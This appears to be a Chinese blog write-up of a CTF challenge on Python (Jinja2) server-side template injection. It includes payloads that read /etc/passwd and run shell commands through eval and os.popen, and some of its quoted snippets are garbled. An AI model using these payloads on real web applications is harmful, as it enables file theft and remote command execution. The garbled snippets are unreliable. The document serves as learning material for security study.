Web_python_template_injection WP以及对于python模板注入的思考

开局就懵逼,查了一堆资料也还是一知半解,先把参考内容放在前面,python学习得提上日程了。

三位大牛的链接,后续参考用:

https://blog.csdn.net/iamsongyu/article/details/85861811

https://www.cnblogs.com/wfzWebSecuity/p/9415641.html

https://xz.aliyun.com/t/2908

解题:

图片[1]-Web_python_template_injection WP以及对于python模板注入的思考-魔法少女雪殇

开局一个这东西,虽然提示特别明显,但是我不会。

url后面输入{{1+1}}

图片[2]-Web_python_template_injection WP以及对于python模板注入的思考-魔法少女雪殇

出现了1+1=2的情况

后续就参考学习了前面的链接内容

获得如下关键字:

图片[3]-Web_python_template_injection WP以及对于python模板注入的思考-魔法少女雪殇

举几个例子:

读文件

    ().class.bases[0].subclasses()40.read()

写文件

    ().class.bases[0].subclasses()40.write(‘123’)

执行任意命令

    ().class.bases[0].subclasses()[59].init.func_globals.values()[13]‘eval’.read()’ )

说实话看不懂

照葫芦画瓢写payload吧

构筑:{{ [].__class__.__base__.__subclasses__()[40]('/etc/passwd').read() }}

获得用户名密码信息:

图片[4]-Web_python_template_injection WP以及对于python模板注入的思考-魔法少女雪殇

接下来就是遍历找flag。。。(不会python真难写

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}  
  {% if b.__class__ == {}.__class__ %}         //遍历基类 找到eval函数
    {% if 'eval' in b.keys() %}    //找到了
      {{ b['eval']('__import__("os").popen("ls").read()') }}  //导入cmd 执行popen里的命令 read读出数据
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

执行后:

图片[5]-Web_python_template_injection WP以及对于python模板注入的思考-魔法少女雪殇

嗯,将上述eval语句内的ls替换成cat fl4g即可

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}  
  {% if b.__class__ == {}.__class__ %}         //遍历基类 找到eval函数
    {% if 'eval' in b.keys() %}    //找到了
      {{ b['eval']('__import__("os").popen("cat fl4g").read()') }} 
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}
图片[6]-Web_python_template_injection WP以及对于python模板注入的思考-魔法少女雪殇

获得flag。。。。

看来后续没准会有更花的活。。。这次比赛结束后抓紧学python了。。

© 版权声明
THE END
喜欢就支持一下吧
点赞2 分享
评论 共2条
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情